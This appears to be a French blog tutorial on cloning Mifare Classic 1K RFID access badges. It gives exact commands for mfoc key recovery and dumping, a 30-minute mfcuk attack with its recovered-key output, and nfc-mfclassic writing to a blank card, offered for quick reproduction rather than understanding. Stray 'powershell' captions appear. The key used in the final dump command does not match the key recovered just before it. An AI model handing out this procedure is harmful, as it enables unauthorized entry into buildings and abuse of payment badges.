Dans cet article, on va voir la procédure pour copier un badge RFID Mifare Classic 1K (badge d’entrée d’immeuble, machines à café…). Le but est de reproduire simplement et rapidement un badge. Ce n’est pas de comprendre comment fonctionne le hack ou le système RFID. Pour ça je ferai certainement un article ou une série d’articles plus tard.

Kali Linux

Dans un premier temps, il va falloir avoir une distribution linux à disposition. Pour cela, je recommande d’utiliser un Live Kali Linux qui comprends déjà les logiciels que l’on va utiliser.

Résultat commande powershell

!!!Important : Pas de machine virtuel. Ça ne fonctionnera certainement pas à cause des I/O USB - VM trop lentes.

Lecteur RFID

J’utilise personnellement le lecteur ACR122U. Pour les autres je n’ai jamais regardé comment ça se passe.

Résultat commande powershell

  • Désactiver les modules pn533_usb et pn533 :
modprobe -r pn533_usb
modprobe -r pn533
  • Vérification du fonctionnement, je place le badge à copier sur le lecteur.
  • La commande suivante doit renvoyer des informations sur le badge :
nfc-list	

Copie d’un badge

  • Je place la carte vierge sur le lecteur.
  • Dump de la carte vierge dans un fichier appelé blank-card.dmp :
mfoc -P 500 -O blank-card.dmp	
  • Je place le badge à copier sur le lecteur.
  • Dump du badge dans le fichier badge.dmp :
mfoc -P 500 -O badge.dmp	
  • Parfois l’opération ne fonctionne pas. Ici, j’obtiens :

“No sector encrypted with the default key has been found, exiting..”

  • Je dois donc utiliser mfcuck :
mfcuk -C -R 0 -s 250 -S 250 -v 3 -o vigik.dmp
  • L’opération à pris, dans mon cas, 30 minutes. À la fin j’obtiens un tableau avec la clé A et B (ici identique) sur le secteur 0 :
ACTION RESULTS MATRIX AFTER RECOVER - UID 1c df 0b 5c - TYPE 0x08 (MC1K)
---------------------------------------------------------------------
Sector	|    Key A	|ACTS | RESL	|    Key B	|ACTS | RESL
---------------------------------------------------------------------
0	|  8829da9daf76	| . R | . R	|  8829da9daf76	| . R | . R
1	|  000000000000	| . . | . .	|  000000000000	| . . | . .
2	|  000000000000	| . . | . .	|  000000000000	| . . | . .
3	|  000000000000	| . . | . .	|  000000000000	| . . | . .
4	|  000000000000	| . . | . .	|  000000000000	| . . | . .
5	|  000000000000	| . . | . .	|  000000000000	| . . | . .
6	|  000000000000	| . . | . .	|  000000000000	| . . | . .
7	|  000000000000	| . . | . .	|  000000000000	| . . | . .
8	|  000000000000	| . . | . .	|  000000000000	| . . | . .
9	|  000000000000	| . . | . .	|  000000000000	| . . | . .
10	|  000000000000	| . . | . .	|  000000000000	| . . | . .
11	|  000000000000	| . . | . .	|  000000000000	| . . | . .
12	|  000000000000	| . . | . .	|  000000000000	| . . | . .
13	|  000000000000	| . . | . .	|  000000000000	| . . | . .
14	|  000000000000	| . . | . .	|  000000000000	| . . | . .
15	|  000000000000	| . . | . .	|  000000000000	| . . | . .
  • Je peux donc dumper le badge dans un fichier badge.dmp :
mfoc -P 500 -k 0123456789AB -O badge.dmp
  • Une fois terminé, je replace le badge vierge sur le lecteur et je copie le dump sur ce dernier :
nfc-mfclassic W a badge.dmp blank-card.dmp